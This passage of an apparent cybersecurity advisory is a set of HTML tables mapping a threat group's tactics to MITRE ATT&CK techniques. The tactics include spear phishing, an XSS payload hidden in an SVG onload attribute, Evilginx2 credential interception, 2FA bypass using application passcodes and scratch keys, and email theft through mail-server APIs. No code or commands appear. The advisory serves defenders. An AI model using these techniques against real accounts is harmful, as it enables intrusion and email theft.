<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
